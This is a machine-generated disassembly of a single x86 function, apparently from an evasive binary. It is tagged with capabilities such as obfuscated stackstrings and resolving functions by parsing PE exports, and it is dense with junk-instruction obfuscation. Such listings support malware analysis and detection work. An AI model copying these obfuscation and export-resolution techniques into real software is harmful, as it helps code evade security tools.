Function at 0x43b285
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push edx
call 0x43707f
add byte [edx + 0x4d], al
inc edi
dec esi
dec eax
xor edi, dword [esi]
add esp, 4
or edx, 0x14fd2
jmp 0x437091
pop edx
push ebx
call 0x43709f
add byte [ecx + 0x42], cl
cmp cl, byte [ebp + 0x35]
dec esp
add esp, 4
pop ebx
mov eax, dword [ebp - 8]
add eax, 0x932
imul ecx, dword [ebp - 4], 0x932
add ecx, 0x16f3673a
imul edx, dword [ebp - 4], 0x932
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 4]
mov dword [ebp - 0x10c8], eax
push edx
or edx, 0x1628f
jmp 0x4370da
sub edx, 0x148c7
or edx, 0x56aa
pop edx
push ebx
push ebx
add esp, 4
xor ebx, 0xefa1
sub ebx, 0x11b0b
xor ebx, 0x107a1
pop ebx
mov eax, dword [ebp - 0x10c8]
add eax, 1
mov dword [ebp - 0xb18], eax
push eax
push edx
add esp, 4
sub eax, 0xa93e
sub eax, 0xf505
add eax, 0x9824
pop eax
push esi
and esi, 0x7c09
xor esi, 0xd505
jmp 0x437139
add esi, 0x6686
pop esi
push ecx
push ecx
add esp, 4
or ecx, 0x5671
pop ecx
push ebx
sub ebx, 0x12afd
pop ebx
push edi
push esi
add esp, 4
and edi, 0x176a7
jmp 0x437165
sub edi, 0x87f3
and edi, 0xa267
pop edi
imul ecx, dword [ebp - 4], 0x932
add ecx, 0x16f3673a
imul edx, dword [ebp - 4], 0x932
sub ecx, edx
xor ecx, dword [ebp - 0xb18]
imul ecx, dword [ebp - 4]
imul eax, dword [ebp - 4], 0x932
sub ecx, eax
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xb18]
imul ecx, dword [ebp - 4]
mov dword [ebp - 0x10cc], ecx
mov dword [ebp - 0xba4], 1
push ecx
push edi
add esp, 4
or ecx, 0x103d6
pop ecx
push esi
or esi, 0x90d9
or esi, 0x498a
xor esi, 0x178b2
add esi, 0x16fb3
pop esi
push esi
push edx
add esp, 4
and esi, 0x1d98
pop esi
imul edx, dword [ebp - 0xba4], 0x932
add edx, 0x16f3673a
imul eax, dword [ebp - 0xba4], 0x932
sub edx, eax
xor edx, dword [ebp - 0x10cc]
imul edx, dword [ebp - 0xba4]
imul ecx, dword [ebp - 0xba4], 0x932
sub edx, ecx
mov dword [ebp - 0xba8], edx
mov edx, dword [ebp - 0x8a8]
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0xbb0], edx
mov dword [ebp - 0xbac], eax
push esi
push edi
add esp, 4
call 0x437250
add byte [ebx], bh
inc esi
xor dl, byte [eax + 0x3e]
dec esi
aas
inc esi
add esp, 4
xor esi, 0xbd82
jmp 0x43725f
call 0x43726b
add byte [edx], dh
inc edi
dec edi
cmp al, byte [ebp + 0x4b]
add esp, 4
pop esi
push esi
xor esi, 0x12d11
xor esi, 0xe2db
or esi, 0x1729b
pop esi
push ecx
push esi
add esp, 4
and ecx, 0x3725
jmp 0x437294
and ecx, 0x12995
xor ecx, 0xdd86
pop ecx
mov ecx, dword [ebp - 8]
add ecx, 0x932
imul edx, dword [ebp - 4], 0x932
add edx, 0x16f3673a
imul eax, dword [ebp - 4], 0x932
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 4]
mov dword [ebp - 0x10d4], ecx
push edx
push ecx
add esp, 4
xor edx, 0x138d2
add edx, 0x800b
xor edx, 0x109cf
xor edx, 0x13925
pop edx
push ecx
xor ecx, 0x13227
xor ecx, 0x10547
xor ecx, 0x18109
pop ecx
mov ecx, dword [ebp - 0xbb0]
add ecx, 0x932
imul edx, dword [ebp - 0xbac], 0x932
add edx, 0x16f3673a
imul eax, dword [ebp - 0xbac], 0x932
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0xbac]
mov dword [ebp - 0x10d0], ecx
mov ecx, dword [ebp - 0x10d0]
mov dword [ebp - 0x10d8], ecx
mov edx, dword [ebp - 0x10d4]
cmp edx, dword [ebp - 0x10d8]
jae 0x43735b
mov dword [ebp - 0xb1c], 1
jmp 0x437365
mov dword [ebp - 0xb1c], 0
mov al, byte [ebp - 0xb1c]
mov byte [ebp - 0x219], al
movzx ecx, byte [ebp - 0x219]
test ecx, ecx
je 0x43a9ca
lea edx, [ebp - 0x568]
mov dword [ebp - 0x22c], edx
mov eax, dword [ebp - 0x22c]
mov dword [eax + 4], 1
push ebx
or ebx, 0x27ec
pop ebx
push eax
sub eax, 0x85d5
pop eax
push edi
xor edi, 0xbd53
xor edi, 0x7124
pop edi
push eax
xor eax, 0x5b34
or eax, 0x100d5
jmp 0x4373ca
pop eax
mov ecx, dword [ebp - 0x22c]
imul edx, dword [ecx + 4], 0x932
add edx, 0x16f3673a
mov eax, dword [ebp - 0x22c]
imul ecx, dword [eax + 4], 0x932
sub edx, ecx
xor edx, 0x2d
mov eax, dword [ebp - 0x22c]
imul edx, dword [eax + 4]
mov ecx, dword [ebp - 0x22c]
imul eax, dword [ecx + 4], 0x932
sub edx, eax
mov ecx, dword [ebp - 0x22c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x22c]
mov dword [ebp - 0x1268], edx
push ecx
add ecx, 0x806e
pop ecx
push ebx
push esi
add esp, 4
or ebx, 0xfe5b
pop ebx
push edx
push ecx
add esp, 4
or edx, 0xc9b6
pop edx
push edx
push edx
add esp, 4
add edx, 0x1798a
and edx, 0x1395
pop edx
mov dword [ebp - 0x68c], 1
push esi
or esi, 0x13aa1
add esi, 0xbc00
or esi, 0x357b
and esi, 0x66ea
pop esi
push esi
push edx
add esp, 4
xor esi, 0xadf8
or esi, 0x17776
or esi, 0xf7b3
pop esi
mov dword [ebp - 0x126c], 0x42
push ebx
xor ebx, 0x1005f
add ebx, 0x2b9f
and ebx, 0xc79a
pop ebx
push ecx
and ecx, 0x176a2
xor ecx, 0x12168
call 0x4374c3
add byte [esi], dh
cmp al, 0x33
xor cl, byte [edi + 0x34]
dec esp
add esp, 4
pop ecx
mov dword [ebp - 0x1270], 0x21
push ecx
jmp 0x4374da
and ecx, 0xc19b
pop ecx
push ebx
push esi
add esp, 4
call 0x4374f3
add byte [edi + 0x44], cl
inc edx
inc esi
dec ebx
cmp cl, byte [ecx - 0x7d]
les eax, [ecx + eax*4]
jecxz 0x4374fb
sub eax, 0xcb810000
pushfd
aam 0
add byte [ecx + 0xd49ccb], al
add byte [ebx - 0x39], bl
test dword [ebp + ebp*8 + 0xcffff], ecx
add byte [eax], al
push edx
add edx, 0x1113d
add edx, 0xd4fa
pop edx
push ebx
call 0x437529
add byte [ebx + 0x47], cl
aaa
dec eax
xor al, 0x3c
add esp, 4
and ebx, 0x14a8d
xor ebx, 0x14301
xor ebx, 0x3cb5
pop ebx
mov eax, dword [ebp - 0x568]
add eax, 0x932
imul ecx, dword [ebp - 0x564], 0x932
add ecx, 0x16f3673a
imul edx, dword [ebp - 0x564], 0x932
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x564]
mov dword [ebp - 0x10dc], eax
mov eax, dword [ebp - 0x10dc]
mov dword [ebp - 0x10e0], eax
mov ecx, dword [ebp - 0x10e0]
sub ecx, 0x42
mov dword [ebp - 0x10e4], ecx
mov dword [ebp - 0x5c8], 1
push ebx
add ebx, 0x48a8
jmp 0x4375a9
sub ebx, 0x9cba
pop ebx
push edi
and edi, 0x7f8b
pop edi
push eax
or eax, 0xa2ff
xor eax, 0x140d6
add eax, 0x4575
pop eax
imul edx, dword [ebp - 0x5c8], 0x932
add edx, 0x16f3673a
imul eax, dword [ebp - 0x5c8], 0x932
sub edx, eax
xor edx, dword [ebp - 0x10e4]
imul edx, dword [ebp - 0x5c8]
imul ecx, dword [ebp - 0x5c8], 0x932
sub edx, ecx
mov dword [ebp - 0x5cc], edx
push ecx
push edi
add esp, 4
jmp 0x437612
xor ecx, 0x3ae7
jmp 0x437620
pop ecx
push edx
and edx, 0x23e0
pop edx
push edx
add edx, 0xe3f7
pop edx
push eax
sub eax, 0x9c3c
pop eax
push ecx
jmp 0x437641
pop ecx
push edx
push ecx
add esp, 4
call 0x437653
add byte [edx], dh
inc edi
dec ebx
dec ebx
inc ebx
inc esp
add esp, 4
or edx, 0x114c0
and edx, 0x146c3
pop edx
push edx
add edx, 0x86d7
pop edx
mov dword [ebp - 0x5d0], 1
push esi
and esi, 0x17e64
xor esi, 0xfa86
xor esi, 0xdbf8
or esi, 0x248f
pop esi
push ebx
push ecx
add esp, 4
xor ebx, 0x4de5
xor ebx, 0x11d2e
add ebx, 0xaf1a
pop ebx
imul edx, dword [ebp - 0x5d0], 0x932
add edx, 0x16f3673a
imul eax, dword [ebp - 0x5d0], 0x932
sub edx, eax
xor edx, 0x21
imul edx, dword [ebp - 0x5d0]
imul ecx, dword [ebp - 0x5d0], 0x932
sub edx, ecx
mov dword [ebp - 0x5d4], edx
push esi
call 0x4376ef
add byte [0x49474838], bh
inc eax
push eax
cmp esi, dword [ebx + eax*4]
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [edi + 0x50], cl
cmp bh, byte [eax]
cmp eax, 0xc4834434
add al, 0x81
out dx, al
mov dword [eax + eax], ebx
add byte [esi + 0x53], bl
add ebx, 0x7580
pop ebx
push edx
sub edx, 0x9bcf
pop edx
push edi
call 0x43772a
add byte [ecx + 0x3d], al
xor eax, 0x37493249
aaa
push eax
cmp eax, 0x8104c483
invalid
xor cl, byte [ecx]
add byte [eax], al
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 4]
mov dword [ebp - 0xe10], eax
mov eax, dword [ebp - 0xe10]
mov dword [ebp - 0xe14], eax
cmp dword [ebp - 0xe14], 0x40d3f
jne 0x43a9c5
push eax
and eax, 0x8efe
add eax, 0xbe85
sub eax, 0xe240
pop eax
push eax
push eax
add esp, 4
sub eax, 0x9584
and eax, 0xe83c
pop eax
push edx
push edi
add esp, 4
and edx, 0x1d4e
pop edx
push ebx
push edx
add esp, 4
sub ebx, 0x6ad1
or ebx, 0x17b23
and ebx, 0x15beb
and ebx, 0x6d34
pop ebx
push eax
add eax, 0xc
pop eax
push eax
push ecx
add esp, 4
xor eax, 0xccaf
pop eax
mov ecx, dword [ebp - 0x70]
add ecx, 0x932
imul edx, dword [ebp - 0x6c], 0x932
add edx, 0x16f3673a
imul eax, dword [ebp - 0x6c], 0x932
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x6c]
mov dword [ebp - 0xe18], ecx
mov ecx, dword [ebp - 0xe18]
mov dword [ebp - 0xe1c], ecx
mov edx, dword [ebp - 0xe1c]
sub edx, 0xec
mov dword [ebp - 0xe20], edx
mov dword [ebp - 0x904], 1
push esi
push eax
add esp, 4
add esi, 0x8b40
or esi, 0x924
pop esi
push esi
and esi, 0x17dbf
and esi, 0x5ddd
call 0x43a943
add byte [eax + 0x3d], dl
inc edx
dec esp
dec esp
cmp dword [edx], esi
cmp edi, dword [ecx]
add esp, 4
pop esi
imul eax, dword [ebp - 0x904], 0x932
add eax, 0x16f3673a
imul ecx, dword [ebp - 0x904], 0x932
sub eax, ecx
xor eax, dword [ebp - 0xe20]
imul eax, dword [ebp - 0x904]
imul edx, dword [ebp - 0x904], 0x932
sub eax, edx
mov dword [ebp - 0x908], eax
mov eax, dword [ebp - 0x908]
mov ecx, dword [ebp - 0x904]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
push ecx
sub ecx, 0x2897
jmp 0x43a9a1
pop ecx
push esi
push edx
add esp, 4
add esi, 0xa81
add esi, 0x920d
xchg edx, eax
add byte [eax], al
call 0x43a9c1
add byte [eax + 0x33], al
xor edi, dword [esi]
push eax
xor eax, 0xc4833c47
add al, 0x5e
jmp 0x437071
mov dword [ebp - 0x238], 0
call 0x43a9d9
mov eax, 0xdeadbeef
pop eax
mov dword [ebp - 0x238], eax
push eax
sub eax, 0x17d21
pop eax
push ebx
push ecx
add esp, 4
sub ebx, 0x6cb
add ebx, 0x97d6
and ebx, 0x18397
pop ebx
push ebx
push edx
add esp, 4
add ebx, 0x8e82
and ebx, 0x1479b
pop ebx
mov edx, dword [ebp - 0x1220]
mov dword [ebp - 0xb38], edx
push ebx
push esi
add esp, 4
call 0x43aa35
add byte [esi + 0x33], al
inc esi
inc edi
dec edi
inc ebp
inc ecx
add esp, 4
call 0x43aa45
add byte [0x3b4d484c], bh
cmp dword [edi], edi
add esp, 4
add ebx, 0x436d
xor ebx, 0x11b5f
pop ebx
mov eax, dword [ebp - 0x70]
add eax, 0x932
imul ecx, dword [ebp - 0x6c], 0x932
add ecx, 0x16f3673a
imul edx, dword [ebp - 0x6c], 0x932
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x6c]
mov dword [ebp - 0xb38], eax
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0xe24], eax
mov ecx, dword [ebp - 0xe24]
add ecx, dword [ebp - 0xb38]
mov dword [ebp - 0x238], ecx
push edi
add edi, 0xcef
call 0x43aab0
add byte [0x3e4f4948], dh
dec esp
add esp, 4
sub edi, 0x18677
pop edi
push edi
push edi
add esp, 4
or edi, 0x166ae
jmp 0x43aace
pop edi
push ecx
push edi
add esp, 4
or ecx, 0x6ca0
sub ecx, 0x16faa
add ecx, 0x815d
and ecx, 0x180c2
pop ecx
push eax
xor eax, 0x8bba
mov edx, 0x8100008b
enter 0xffffffffffffc297, 0
add byte [ecx + 0xac95f0], al
add byte [eax - 0x3a], bl
test dword [eax + 0x51fffff9], esi
mov byte [ebp - 0x64f], 0xb9
mov byte [ebp - 0x64e], 0x10
mov byte [ebp - 0x64d], 0x10
mov byte [ebp - 0x64c], 0x10
mov byte [ebp - 0x64b], 0x10
mov byte [ebp - 0x64a], 0x59
push eax
xor eax, 0x19e2
pop eax
push ecx
push ebx
add esp, 4
call 0x43ab4c
add byte [edi + 0x36], al
cmp cl, byte [ebx + 0x41]
dec ebx
cmp eax, 0x8104c483
int1
mov ah, 0x83
add byte [eax], al
jmp 0x43ab5d
or ecx, 0x126a9
pop ecx
push esi
jmp 0x43ab6d
jmp 0x43ab74
xor esi, 0xdc10
and esi, 0x5d3
pop esi
push ebx
jmp 0x43ab89
and ebx, 0x51d5
add ebx, 0x49f1
pop ebx
mov byte [ebp - 0x658], 0x51
mov byte [ebp - 0x657], 0xb9
mov byte [ebp - 0x656], 0x20
mov byte [ebp - 0x655], 0x20
mov byte [ebp - 0x654], 0x20
mov byte [ebp - 0x653], 0x20
mov byte [ebp - 0x652], 0x59
push esi
push esi
add esp, 4
and esi, 0xbf1e
add byte [eax], al
sub esi, 0xc9b0
add esi, 0x7603
pop esi
push eax
push edx
add esp, 4
jmp 0x43abea
add eax, 0xb015
pop eax
push edi
add edi, 0x10987
pop edi
push esi
push ecx
add esp, 4
add esi, 0x15a33
sub esi, 0x1c6f
pop esi
push eax
sub eax, 0x1362e
call 0x43ac21
add byte [ebx], bh
inc edi
dec ebp
dec esi
xor eax, dword [ebp + 0x4d]
inc ebp
inc edx
add esp, 4
or eax, 0x1002
pop eax
mov dword [ebp - 0x1224], 0xe
push esi
call 0x43ac44
add byte [edx], bh
dec eax
inc ecx
inc ebp
inc ebx
aaa
cmp al, byte [esi - 0x7d]
les eax, [ecx + eax*4]
out 3, al
mov al, 0
add al, ch
or dword [eax], eax
add byte [eax], al
add byte [edi + 0x50], cl
aaa
dec ecx
cmp eax, 0x83464d3d
les eax, [esi + ebx*2]
push edi
xor edi, 0x8432
pop edi
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0x650]
mov dword [ebp - 0xb3c], ecx
push ebx
or ebx, 0x15f96
sub ebx, 0xc385
pop ebx
push eax
push eax
add esp, 4
xor eax, 0x15549
sub eax, 0x15d51
pop eax
push ebx
push edi
add esp, 4
and ebx, 0x17e43
xor ebx, 0x13e4
pop ebx
mov dword [ebp - 0x1228], 0xffffffff
push ebx
push esi
add esp, 4
xor ebx, 0xcc5d
and ebx, 0xc66
add ebx, 0x14565
pop ebx
push esi
add esi, 0x37f
and esi, 0x183d7
add esi, 0x1572a
or esi, 0x13fe
pop esi
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x264], edx
jmp 0x43ad07
mov eax, dword [ebp - 0x264]
add eax, 1
mov dword [ebp - 0x264], eax
push ebx
push edi
add esp, 4
xor ebx, 0x886b
pop ebx
push ecx
xor ecx, 0x16d0
or ecx, 0x11496
add ecx, 0x16868
pop ecx
push ebx
push edx
add esp, 4
add ebx, 0x14b31
add dword [eax], eax
sub ebx, 0x13eac
pop ebx
mov ecx, dword [ebp - 0x264]
sub ecx, dword [ebp - 0x238]
cmp ecx, 0xffffffff
jb 0x43ad81
push eax
add eax, 0x8fa7
xor eax, 0xcc68
pop eax
push ebx
call 0x43ad65
add byte [ebx + eax*2 + 0x48], al
push eax
dec esi
xor al, 0x83
les eax, [ecx + eax*4]
jecxz 0x43ad30
jmp 0x43ad6d
add byte [ecx + 0xc14aeb], al
add bl, ch
add eax, 0x50373f45
cmp ebx, dword [ebx - 0x17]
cld
add dword [eax], eax
add bh, al
test dword [eax - 7], ebp
invalid
mov dword [ebp - 0x698], 7
mov edx, dword [ebp - 0x264]
mov dword [ebp - 0x648], edx
push eax
push ecx
add esp, 4
and eax, 0x2ab4
sub eax, 0x10b62
pop eax
push esi
or esi, 0x77fd
jmp 0x43adb9
pop esi
push ecx
jmp 0x43adc2
or ecx, 0x1998
pop ecx
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x69c], 0
mov ecx, dword [ebp - 0x264]
cmp ecx, dword [ebp - 0xb3c]
jne 0x43adfe
mov edx, dword [ebp - 0x69c]
mov dword [ebp - 0xb44], edx
jmp 0x43af2f
cmp dword [ebp - 0x698], 0
jle 0x43af23
push ecx
push ecx
add esp, 4
or ecx, 0x13911
xor ecx, 0xb658
and ecx, 0x4047
add byte [eax], al
pop ecx
push ebx
or ebx, 0x1ba2
sub ebx, 0x4ac6
sub ebx, 0x11b2a
xor ebx, 0x11f90
pop ebx
mov eax, dword [ebp - 0x648]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x608]
movzx eax, byte [edx]
cmp ecx, eax
je 0x43aebf
push edi
push eax
add esp, 4
sub edi, 0xa1f2
and edi, 0xb154
or edi, 0x2085
sub edi, 0xa3a8
pop edi
push esi
sub esi, 0x65fd
pop esi
push ecx
push ebx
add esp, 4
xor ecx, 0x7a76
pop ecx
mov ecx, dword [ebp - 0x648]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x608]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x43aea7
mov dword [ebp - 0xb40], 1
jmp 0x43aeb1
mov dword [ebp - 0xb40], 0xffffffff
mov edx, dword [ebp - 0xb40]
mov dword [ebp - 0x69c], edx
jmp 0x43af23
push edx
push esi
add esp, 4
call 0x43aed3
add byte [ebx + 0x3a], cl
cmp bh, byte [edi + ecx*2]
cmp byte [eax + 0x4e], al
dec edx
add esp, 4
or edx, 0x4113
sub edx, 0x1867c
pop edx
push esi
and esi, 0x94a7
add esi, 0x12e57
pop esi
mov eax, dword [ebp - 0x698]
sub eax, 1
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x648]
add ecx, 1
mov dword [ebp - 0x648], ecx
mov edx, dword [ebp - 0x608]
add edx, 1
mov dword [ebp - 0x608], edx
jmp 0x43adfe
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0xb44], eax
cmp dword [ebp - 0xb44], 0
jne 0x43af78
push ecx
xor ecx, 0x174c0
jmp 0x43af46
pop ecx
push esi
or esi, 0x7b7c
pop esi
push edi
jmp 0x43af57
sub edi, 0x19bd
sub edi, 0x11010
sub edi, 0x15743
pop edi
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x228], ecx
jmp 0x43afb9
jmp 0x43acf8
push edx
xor edx, 0x157dd
sub edx, 0x739b
pop edx
push eax
add eax, 0x2989
pop eax
push ebx
or ebx, 0x10765
or ebx, 0xaeec
and ebx, 0x8537
jmp 0x43afea
pop ebx
push edi
push edi
add esp, 4
sub edi, 0x7930
pop edi
push edi
push eax
add esp, 4
call 0x43b00b
add byte [edi + 0x39], cl
xor eax, 0x4f375047
cmp eax, 0x4c4834b
xor edi, 0x8e4f
dec edi
mov es, word [eax]
add byte [edi + 0x57], bl
sub edi, 0x99a9
pop edi
mov edx, 1
imul eax, edx, 0
lea ecx, [ebp + eax - 0x658]
mov dword [ebp - 0xb48], ecx
push ebx
xor ebx, 0x14578
pop ebx
push edx
add edx, 0xd4b0
pop edx
push edi
or edi, 0x100a6
sub edi, 0xc7de
sub edi, 0x5ffe
pop edi
push edi
sub edi, 0x7a78
or edi, 0xa6be
pop edi
mov dword [ebp - 0x122c], 0xffffffff
push edx
push edi
add esp, 4
xor edx, 0xd336
or edx, 0x1838d
call 0x43b08e
add byte [edi], bh
dec ebp
aaa
inc edx
xor eax, 0x37493e34
add esp, 4
pop edx
push ebx
and ebx, 0x77e8
or ebx, 0xd2c2
pop ebx
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x260], edx
jmp 0x43b0bd
mov eax, dword [ebp - 0x260]
add eax, 1
mov dword [ebp - 0x260], eax
push esi
push eax
add esp, 4
xor esi, 0x161a2
xor esi, 0x71c9
or esi, 0x10fb4
pop esi
push edx
push edx
add esp, 4
xor edx, 0xf68f
pop edx
push esi
sub esi, 0xfb48
and esi, 0xf6f3
pop esi
mov ecx, dword [ebp - 0x260]
sub ecx, dword [ebp - 0x238]
cmp ecx, 0xffffffff
jb 0x43b137
push esi
and esi, 0x11cbb
jmp 0x43b110
jmp 0x43b117
pop esi
push edx
xor edx, 0x4e62
add edx, 0x7a0f
pop edx
push edi
push esi
add esp, 4
or edi, 0x115da
pop edi
jmp 0x43b333
mov dword [ebp - 0x6a0], 7
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x60c], edx
push edx
sub edx, 0x5bd4
and edx, 0x2254
add edx, 0x13c3b
pop edx
push edi
call 0x43b16f
add byte [edx + edi + 0x42], cl
aaa
dec ecx
xor al, 0x37
add esp, 4
les eax, [ecx + eax*4]
out dx, eax
out dx, eax
insd dword es:[edi], dx
add dword [eax], eax
add edi, 0xb27
pop edi
mov eax, dword [ebp - 0xb48]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x6a4], 0
mov ecx, dword [ebp - 0x260]
cmp ecx, dword [ebp - 0xb48]
jne 0x43b1b4
mov edx, dword [ebp - 0x6a4]
mov dword [ebp - 0xb50], edx
jmp 0x43b2e5
cmp dword [ebp - 0x6a0], 0
jle 0x43b2d9
push eax
xor eax, 0x6dcb
call 0x43b1d7
add byte [esi], bh
xor eax, 0x503c3d38
xor al, 0x35
cmp al, 0x83
les eax, [ecx + eax*4]
call fcn.0044f224
call 0x43b1ef
add byte [ebp + 0x44], cl
dec edi
inc ebx
push eax
push eax
dec ebp
inc ecx
dec ebp
add esp, 4
pop eax
mov eax, dword [ebp - 0x60c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x610]
movzx eax, byte [edx]
cmp ecx, eax
je 0x43b275
push edx
add edx, 0xdaaf
sub edx, 0x546e
pop edx
push esi
and esi, 0x1642a
pop esi
push edi
push edi
add esp, 4
call 0x43b231
add byte [esi + eax*2 + 0x48], cl
inc ebp
xor al, 0x44
inc eax
add esp, 4
xor edi, 0xd8a9
pop edi
mov ecx, dword [ebp - 0x60c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x610]
movzx ecx, byte [eax]
cmp edx, ecx
jle 0x43b25d
mov dword [ebp - 0xb4c], 1
jmp 0x43b267
mov dword [ebp - 0xb4c], 0xffffffff
mov edx, dword [ebp - 0xb4c]
mov dword [ebp - 0x6a4], edx
jmp 0x43b2d9
push esi
call 0x43b285
add byte [ecx + ecx*2], bh
inc edx
inc ebp
dec ebx
dec eax
dec esp
dec ecx
inc ecx
add esp, 4
or esi, 0x2ad7
add esi, 0x5668
pop esi
push eax
push ecx
add esp, 4
xor eax, 0xfd20
sub eax, 0x623b
pop eax
mov eax, dword [ebp - 0x6a0]
sub eax, 1
mov dword [ebp - 0x6a0], eax
mov ecx, dword [ebp - 0x60c]
add ecx, 1
mov dword [ebp - 0x60c], ecx
mov edx, dword [ebp - 0x610]
add edx, 1
invalid
xchg ebp, eax